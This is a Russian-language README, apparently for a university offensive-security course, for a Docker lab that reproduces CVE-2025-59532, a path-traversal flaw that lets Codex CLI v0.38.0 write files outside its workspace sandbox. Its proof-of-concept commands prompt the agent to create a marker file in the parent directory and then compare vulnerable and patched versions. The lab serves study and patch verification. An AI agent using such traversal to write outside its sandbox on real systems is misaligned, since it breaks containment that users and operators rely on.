
Исследовательская среда на базе Docker для анализа CVE-2025-59532 — уязвимости обхода пути (path traversal) в OpenAI Codex CLI, которая позволяет произвольную запись файлов за пределами предполагаемой песочницы рабочей области. Часть курса CMU: 18-739 Hacking & Offensive Security, осень 2025 года.
Docker-среда для исследования и анализа CVE-2025-59532 — уязвимости обхода каталога (path traversal) в OpenAI Codex CLI, которая позволяет записывать произвольные файлы за пределами предназначенной песочницы рабочего каталога. Часть курса CMU: 18-739 Hacking & Offensive Security, осень 2025
Сначала клонируйте репозиторий:
git clone https://github.com/jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
Или через SSH:
git clone [email protected]:jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
CVE-2025-59532 — это уязвимость обхода каталога в инструменте Codex CLI от OpenAI, которая позволяет злоумышленникам записывать файлы за пределы предназначенного рабочего каталога, обходя ограничения песочницы.
../exploit.txt), выходя за пределы песочницы рабочего каталога, даже если включён режим --sandbox workspace-write.Уязвимость связана с недостаточной проверкой путей в реализации песочницы рабочего каталога. Когда включён режим песочницы workspace-write, Codex должен ограничивать файловые операции заданным рабочим каталогом. Однако в v0.38.0 проверка путей не обрабатывает корректно последовательности относительного обхода каталога (../), что позволяет злоумышленнику записывать файлы за пределами песочницы, указывая ИИ использовать ссылки на родительские каталоги.
docker build -t cve-2025-59532:latest .
docker run -it --rm cve-2025-59532:latest
Данная Docker-среда включает три версии Codex CLI:
Внутри контейнера настройте ваш OpenAI API-ключ: просто запустите codex в интерактивном режиме и вставьте туда API-ключ:
codex
API-ключ будет сохранён в ~/.config/codex/auth.json и будет использоваться всеми версиями Codex (codex38, codex39, codex50).
codex38 --version # Should show v0.38.0 (vulnerable)
codex39 --version # Should show v0.39.0 (patched)
codex50 --version # Should show v0.50.0 (latest)
Примечание: Рабочий каталог находится в /workspace/child. Уязвимость позволяет запись в /workspace (родительский каталог).
Проверка уязвимой версии (v0.38.0):
codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof1.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Проверка исправленной версии (v0.39.0):
codex39 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof2.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Проверка последней версии (v0.50.0):
codex50 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof3.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Проверка эксплуатации:
# Check if files were created outside the sandbox (in /workspace, not /workspace/child)
ls -la /workspace/
cat /workspace/exploit_proof1.txt # Should exist if v0.38.0 is vulnerable
cat /workspace/exploit_proof2.txt # Should NOT exist if v0.39.0 is patched
cat /workspace/exploit_proof3.txt # Should NOT exist if v0.50.0 is secure
# Check current workspace (should be empty or contain only test files)
pwd # Should show /workspace/child
ls -la /workspace/child/
Чтобы увидеть подробные отладочные журналы выполнения Codex:
RUST_LOG=debug codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Отладочные журналы покажут: